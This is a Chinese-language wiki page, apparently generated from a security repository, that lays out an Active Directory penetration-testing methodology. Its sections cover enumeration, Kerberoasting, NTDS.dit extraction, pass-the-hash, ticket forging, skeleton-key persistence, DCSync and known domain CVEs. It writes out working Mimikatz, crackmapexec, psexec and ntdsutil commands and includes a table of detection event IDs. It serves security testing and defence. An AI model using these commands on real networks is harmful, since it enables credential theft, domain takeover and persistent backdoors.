本文档提供了 Active Directory 渗透测试技术的全面指南。它涵盖了在 Windows 域的安全评估过程中使用的初始枚举、凭据收集、横向移动、权限提升和域接管方法。有关 Active Directory 之外的相关 Windows 权限提升技术,请参阅 Windows 权限提升。
来源: Methodology and Resources/Active Directory Attack.md1-52
Active Directory (AD) 是 Microsoft 为 Windows 域网络提供的目录服务。理解其结构对于有效的渗透测试至关重要。
核心组件
来源: Methodology and Resources/Active Directory Attack.md4-14
Active Directory 攻击方法论通常遵循以下阶段
来源: Methodology and Resources/Active Directory Attack.md1-52
Active Directory 枚举是识别攻击向量和理解域结构的第一步。
| 工具 | 描述 | 用例 |
|---|---|---|
| BloodHound | 图形化 AD 映射工具 | 可视化攻击路径 |
| PowerView | PowerShell AD 枚举框架 | 枚举用户、组和权限 |
| ADExplorer | Microsoft Sysinternals AD 查看器 | 基于 GUI 的枚举 |
| ldapsearch | LDAP 查询工具 | 命令行 AD 查询 |
| SharpHound | BloodHound 的 C# 数据收集器 | 收集 AD 数据以供分析 |
基本 PowerShell 枚举命令
Get-DomainGet-DomainUserGet-DomainComputerGet-DomainGroupGet-DomainGroupMember "Domain Admins"识别高价值目标和潜在攻击路径
Get-DomainUser -TrustedToAuthGet-DomainComputer -UnconstrainedGet-DomainUser -SPN来源: Methodology and Resources/Active Directory Attack.md7
在 Active Directory 环境中,有几种方法可用于获取凭据。
Kerberoasting 通过请求服务票据并离线破解它们来攻击服务账户。
检测:监控来自意外用户的异常 TGS 请求(事件 ID 4769)。
来源: Methodology and Resources/Active Directory Attack.md16
此攻击针对启用了“不要求 Kerberos 预身份验证”的用户。
工具
asreproast 命令来源: Methodology and Resources/Active Directory Attack.md15
NTDS.dit 文件包含所有域用户密码哈希,可以通过多种方式进行提取。
提取方法
vssadmin create shadow /for=C:mimikatz "lsadump::dcsync /domain:domain.local /all /csv"ntdsutil "ac i ntds" "ifm" "create full C:\temp" q q来源: Methodology and Resources/Active Directory Attack.md11
| 方法 | 描述 | 工具 |
|---|---|---|
| LAPS 密码读取 | 提取本地管理员密码解决方案凭据 | Get-LAPSPasswords |
| 组策略首选项 | 在 GPP XML 文件中查找凭据 | Get-GPPPassword |
| DSRM 管理员 | 访问目录服务恢复模式密码 | Mimikatz: token::elevate lsadump::sam |
| GMSA 中的密码 | 从组托管服务账户提取密码 | GMSAPasswordReader |
| Shadow Credentials(影子凭据) | 向计算机账户添加备用凭据 | Whisker |
来源: Methodology and Resources/Active Directory Attack.md35-41
在获得凭据后,可以使用多种方法在域中进行横向移动。
直接使用 NTLM 哈希,无需破解密码。
工具和命令
sekurlsa::pth /user:administrator /domain:domain.local /ntlm:hashcrackmapexec smb target -u username -H hashpsexec.py domain/user@target -hashes :hash来源: Methodology and Resources/Active Directory Attack.md23 Methodology and Resources/Windows - Mimikatz.md9
将 NTLM 哈希转换为 Kerberos 票据以进行身份验证。
使用 Mimikatz 的示例
sekurlsa::pth /user:admin /domain:domain.local /ntlm:hash /run:powershell.exe
来源: Methodology and Resources/Active Directory Attack.md22
使用窃取的 Kerberos 票据进行身份验证。
方法
sekurlsa::tickets /exportkerberos::ptt ticket.kirbi来源: Methodology and Resources/Active Directory Attack.md33
Active Directory 中可以使用各种方法来提升权限。
不受限委派攻击
受限委派攻击
基于资源的受限委派 (RBCD) 攻击
来源: Methodology and Resources/Active Directory Attack.md29-31
利用 Active Directory 对象上的弱权限
| 权限 | 滥用方法 | 影响 |
|---|---|---|
| GenericAll | 重置密码,修改组成员身份 | 完全控制对象 |
| GenericWrite | 修改属性,设置 SPN 以进行 Kerberoasting | 凭据窃取 |
| WriteDACL | 修改权限,授予自己完全控制权 | 权限提升 |
| WriteOwner | 获取对象所有权 | 控制对象 |
| AddMember | 将用户添加到组 | 权限提升 |
| ForceChangePassword | 重置用户密码 | 账户接管 |
工具
Find-InterestingDomainAcl来源: Methodology and Resources/Active Directory Attack.md6
Active Directory 证书服务 (AD CS) 可以通过多种方式被滥用
攻击向量
工具
来源: Methodology and Resources/Active Directory Attack.md5
建立持久访问以保持对域的控制。
使用 krbtgt 账户的 NTLM 哈希创建一个伪造的 Kerberos TGT。
使用 Mimikatz
lsadump::dcsync /domain:domain.local /user:krbtgt
kerberos::golden /user:admin /domain:domain.local /sid:S-1-5... /krbtgt:hash /ptt
来源: Methodology and Resources/Active Directory Attack.md1-52 Methodology and Resources/Windows - Mimikatz.md10
创建特定服务的伪造服务票据。
使用 Mimikatz
kerberos::golden /domain:domain.local /sid:S-1-5... /target:server.domain.local /service:service /rc4:hash /user:admin /ptt
来源: Methodology and Resources/Active Directory Attack.md33
安装一个后门密码,该密码可用于任何域用户。
在域控制器上使用 Mimikatz
privilege::debug
mimikatz "lsadump::lsa /inject" "misc::skeleton"
部署后,可以使用骨架密钥(默认:"mimikatz")访问任何账户。
来源: Methodology and Resources/Windows - Mimikatz.md11 Methodology and Resources/Windows - Persistence.md34
完全控制域或林。
SID 历史滥用
信任票据攻击
来源:Methodology and Resources/Active Directory Attack.md42-45
利用复制权限从域控制器提取密码哈希。
先决条件
使用 Mimikatz
lsadump::dcsync /domain:domain.local /user:Administrator
来源:Methodology and Resources/Windows - Mimikatz.md1-21
| CVE/漏洞 | 描述 | 利用工具 |
|---|---|---|
| ZeroLogon (CVE-2020-1472) | 重置域控制器计算机账户密码 | ZeroLogon 漏洞利用 |
| PrintNightmare (CVE-2021-34527) | 通过打印后台处理程序进行远程代码执行 | PrintNightmare 漏洞利用 |
| NoPAC/Sam-the-Admin (CVE-2021-42278/42287) | 通过 SAM 名称模拟进行域权限提升 | NoPac 漏洞利用 |
| MS14-068 (CVE-2014-6324) | Kerberos 校验和验证绕过 | PyKEK, MS14-068.py |
| PrivExchange | 通过 Exchange 提升到域管理员 | PrivExchange.py |
来源:Methodology and Resources/Active Directory Attack.md46-51
| 攻击技术 | 检测方法 | 事件 ID |
|---|---|---|
| Kerberoasting | 异常的 TGS 请求 | 4769 |
| AS-REP Roasting | 无预身份验证的 TGT 请求 | 4768 |
| DCSync | 非域控制器机器的复制请求 | 4662 |
| Golden Ticket | 具有长生命周期的 TGT,异常的加密类型 | 4769 |
| NTDS.dit 提取 | 卷影副本创建,NTDS.dit 访问 | 4661, 5145 |
| Mimikatz | LSASS 凭证提取 | 10 |
来源: Methodology and Resources/Active Directory Attack.md1-52
Active Directory 攻击遵循从枚举到域控制的系统化方法。理解这些技术对于进攻性安全测试和防御性安全措施都至关重要。为了成功攻击,通常会根据目标环境中存在的特定漏洞和配置将多种技术串联起来。
来源: Methodology and Resources/Active Directory Attack.md1-52
刷新此 Wiki
最后索引时间2025 年 4 月 18 日(7eb75c)